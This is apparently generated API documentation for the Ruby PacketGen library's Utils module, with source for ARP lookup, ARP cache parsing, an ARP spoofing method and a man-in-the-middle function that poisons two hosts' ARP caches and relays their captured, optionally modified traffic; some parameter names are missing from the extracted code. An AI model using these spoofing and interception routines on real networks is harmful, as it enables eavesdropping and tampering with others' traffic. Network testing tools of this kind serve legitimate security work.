Module: PacketGen::Utils
- Defined in:
- lib/packetgen/utils.rb,
lib/packetgen/utils/arp_spoofer.rb
Overview
Collection of some network utilities.
This module is not enabled by default. You need to:
require 'packetgen/utils'
Defined Under Namespace
Classes: ARPSpoofer
Class Method Summary collapse
-
.arp(ipaddr, options = {}) ⇒ String?
Get MAC address from an IP address, or nil if this IP address is unknown on local network.
-
.arp_cache ⇒ Hash
Get local ARP cache.
-
.arp_spoof(target_ip, spoofed_ip, options = {}) ⇒ void
Do ARP spoofing on given IP address.
-
.mitm(target1, target2, options = {}) {|pkt| ... } ⇒ void
Man in the middle attack.
Class Method Details
.arp(ipaddr, options = {}) ⇒ String?
Get MAC address from an IP address, or nil if this IP address is unknown on local network.
46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 |
# File 'lib/packetgen/utils.rb', line 46 def self.arp(ipaddr, ={}) unless [:no_cache] local_cache = self.arp_cache return local_cache[ipaddr].first if local_cache.key? ipaddr end iface = [:iface] || PacketGen.default_iface timeout = [:timeout] || 1 my_hwaddr = Config.instance.hwaddr(iface) arp_pkt = Packet.gen('Eth', dst: 'ff:ff:ff:ff:ff:ff', src: my_hwaddr) arp_pkt.add('ARP', sha: Config.instance.hwaddr, spa: Config.instance.ipaddr, tpa: ipaddr) capture = Capture.new(iface: iface, timeout: timeout, max: 1, filter: "arp src #{ipaddr} and ether dst #{my_hwaddr}") cap_thread = Thread.new do capture.start end arp_pkt.to_w(iface) cap_thread.join return if capture.packets.empty? capture.packets.each do |pkt| break pkt.arp.sha.to_s if pkt.arp.spa.to_s == ipaddr end end |
.arp_cache ⇒ Hash
Get local ARP cache
22 23 24 25 26 27 28 29 30 31 32 |
# File 'lib/packetgen/utils.rb', line 22 def self.arp_cache raw_cache = `/usr/sbin/arp -an` cache = {} raw_cache.split(/\n/).each do |line| match = line.match(/\((\d+\.\d+\.\d+\.\d+)\) at (([a-fA-F0-9]{2}:){5}[a-fA-F0-9]{2})(?: \[ether\])? on (\w+)/) cache[match[1]] = [match[2], match[4]] if match end cache end |
.arp_spoof(target_ip, spoofed_ip, options = {}) ⇒ void
This method is provided for test purpose.
This method returns an undefined value.
Do ARP spoofing on given IP address. Call to this method blocks. For more control, see ARPSpoofer class.
91 92 93 94 95 96 97 |
# File 'lib/packetgen/utils.rb', line 91 def self.arp_spoof(target_ip, spoofed_ip, ={}) interval = [:interval] || 1.0 as = ARPSpoofer.new(timeout: [:for_seconds], interval: interval, iface: [:iface]) as.start(target_ip, spoofed_ip, mac: [:mac]) as.wait end |
.mitm(target1, target2, options = {}) {|pkt| ... } ⇒ void
This method is provided for test purpose.
This method returns an undefined value.
Man in the middle attack. Capture all packets between two peers on same local network.
126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 |
# File 'lib/packetgen/utils.rb', line 126 def self.mitm(target1, target2, ={}) = { iface: PacketGen.default_iface }.merge() mac1 = arp(target1) mac2 = arp(target2) spoofer = Utils::ARPSpoofer.new() spoofer.add target1, target2, spoofer.add target2, target1, my_mac = Config.instance.hwaddr([:iface]) my_ip = Config.instance.ipaddr([:iface]) capture = Capture.new(iface: [:iface], filter: "((ip src #{target1} and not ip dst #{my_ip}) or" \ " (ip src #{target2} and not ip dst #{my_ip}) or" \ " (ip dst #{target1} and not ip src #{my_ip}) or" \ " (ip dst #{target2} and not ip src #{my_ip}))" \ " and ether dst #{my_mac}") spoofer.start_all capture.start do |pkt| modified_pkt = yield pkt iph = modified_pkt.ip l2 = modified_pkt.is?('Dot11') ? modified_pkt.dot11 : modified_pkt.eth if (iph.src == target1) || (iph.dst == target2) l2.dst = mac2 elsif (iph.src == target2) || (iph.dst == target1) l2.dst = mac1 else next end modified_pkt.to_w([:iface]) end end |